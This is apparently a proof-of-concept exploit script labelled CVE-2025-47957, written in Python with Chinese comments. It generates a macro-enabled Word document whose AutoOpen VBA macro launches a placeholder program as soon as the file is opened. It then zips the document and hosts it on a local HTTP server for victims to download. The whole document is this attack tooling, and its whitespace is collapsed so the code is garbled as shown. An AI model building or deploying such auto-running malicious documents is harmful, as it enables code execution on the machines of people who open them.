#!/usr/bin/python# CVE-2025-47957 by nu11secur1tyimportosimporttimeimportzipfileimportthreadingimporthttp.serverimportsocketimportsocketserverimportwin32com.clientdefget_local_ip():"""获取当前机器的局域网IP地址"""try:s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)s.connect(("8.8.8.8",80))# 外部DNS,仅用于路由ip=s.getsockname()[0]s.close()returnipexcept:return"127.0.0.1"defcreate_docm_with_auto_macro(filename):script_dir=os.path.dirname(os.path.abspath(__file__))full_path=os.path.join(script_dir,filename)word=win32com.client.Dispatch("Word.Application")word.Visible=Falsedoc=word.Documents.Add()doc.Content.Text="此文档包含自动启动的宏"vbproject=doc.VBProjectvbcomponent=vbproject.VBComponents.Add(1)# 标准模块macro_code='''
Sub AutoOpen()
Call YOUR_PoC
End Sub
Sub YOUR_PoC()
Dim Program As String
Dim TaskID As Double
On Error Resume Next
Program = "YOUR_EXPLOIT_HERE"
TaskID = YOUR_TASK_HERE
If Err <> 0 Then
MsgBox "无法启动 " & Program
End If
End Sub
'''vbcomponent.CodeModule.AddFromString(macro_code)wdFormatXMLDocumentMacroEnabled=13doc.SaveAs(full_path,FileFormat=wdFormatXMLDocumentMacroEnabled)doc.Close()word.Quit()print(f"[+] 启用宏的.docm文件已保存至: {full_path}")returnfull_pathdefcompress_to_zip(filepath):zip_path=filepath+'.zip'withzipfile.ZipFile(zip_path,'w')aszipf:zipf.write(filepath,arcname=os.path.basename(filepath))print(f"[+] 已压缩为ZIP: {zip_path}")returnzip_pathdefstart_http_server(directory,port=8000):os.chdir(directory)handler=http.server.SimpleHTTPRequestHandlerhttpd=socketserver.TCPServer(("",port),handler)ip=get_local_ip()print(f"[+] HTTP服务器运行在: http://{ip}:{port}/")thread=threading.Thread(target=httpd.serve_forever)thread.daemon=Truethread.start()returnhttpdif__name__=="__main__":filename="CVE-2025-47957.docm"docm_path=create_docm_with_auto_macro(filename)zip_path=compress_to_zip(docm_path)server=start_http_server(os.path.dirname(docm_path))try:print("[*] 服务器运行中 — 按Ctrl+C停止...")whileTrue:time.sleep(1)exceptKeyboardInterrupt:print("\n[!] 检测到Ctrl+C — 正在关闭服务器...")server.shutdown()print("[+] 漏洞利用服务器已停止。再见!")